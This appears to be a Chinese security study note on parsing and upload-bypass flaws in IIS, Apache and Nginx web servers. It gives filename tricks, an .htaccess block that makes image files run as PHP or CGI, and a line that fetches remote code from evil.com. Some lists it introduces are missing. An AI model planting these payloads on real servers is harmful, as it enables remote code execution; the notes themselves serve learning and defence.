5
社区成员




中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。
服务器默认不解析 ; 号及其后面的内容,相当于截断。
在Fast-CGI开启状态下,在文件路径后加上 /xx.php ,即 xx.jpg/xx.php 会被解析为php文件。
Windows不允许空格和点以及一些特殊字符作为结尾,创建这样的文件会自动重命名,所以可以使用 xx.php[空格] , xx.php., xx.php/, xx.php::$DATA 上传脚本文件。
在支持NTFS 8.3文件格式时,可利用短文件名猜解目录文件。其中短文件名特征如下:
IIS 8.0之前的版本支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,需要安装ASP.NET。而IIS 8.0之后的版本只能通过OPTIONS和TRACE方法猜测成功,但是没有ASP.NET的限制。 这种方法的局限性在于:
这种方法可以通过命令 fsutil behavior set disable8dot3 1 关闭NTFS 8.3文件格式的支持来修复。
test.php.x1.x2.x3 ( x1,x2,x3 为没有在 mime.types 文件中定义的文件类型)。Apache 将从右往左开始判断后缀, 若x3为非可识别后缀,则判断x2,直到找到可识别后缀为止,然后对可识别后缀进行解析
当AllowOverride被启用时,上传启用解析规则的.htaccess
AddType application/x-httpd-php .jpg php_value auto_append_file .htaccess #<?php phpinfo(); Options ExecCGI AddHandler cgi-script .jpg Options +ExecCGI AddHandler fcgid-script .gif FcgidWrapper "/bin/bash" .gif php_flag allow_url_include 1 php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B #php_value auto_append_file https://evil.com/evil-code.txt
配置 Options +Indexes 时Apache存在目录遍历漏洞。
%0A 绕过上传黑名单。
xx.jpg/xx.php
Fast-CGI关闭
在Fast-CGI关闭的情况下, Nginx 仍然存在解析漏洞: 在文件路径(xx.jpg)后面加上 %00.php , 即 xx.jpg%00.php 会被当做 php 文件来解析
Fast-CGI开启
在Fast-CGI开启状态下,在文件路径后加上 /xx.php ,则 xx.jpg/xx.php 会被解析为php文件
CVE-2013-4547
a.jpg\x20\x00.php
如果配置中存在类似 location /foo { alias /bar/; } 的配置时,/foo../ 会被解析为 /bar/../ 从而导致目录穿越的发生。
配置中 autoindex on 开启时,Nginx中存在目录遍历漏洞。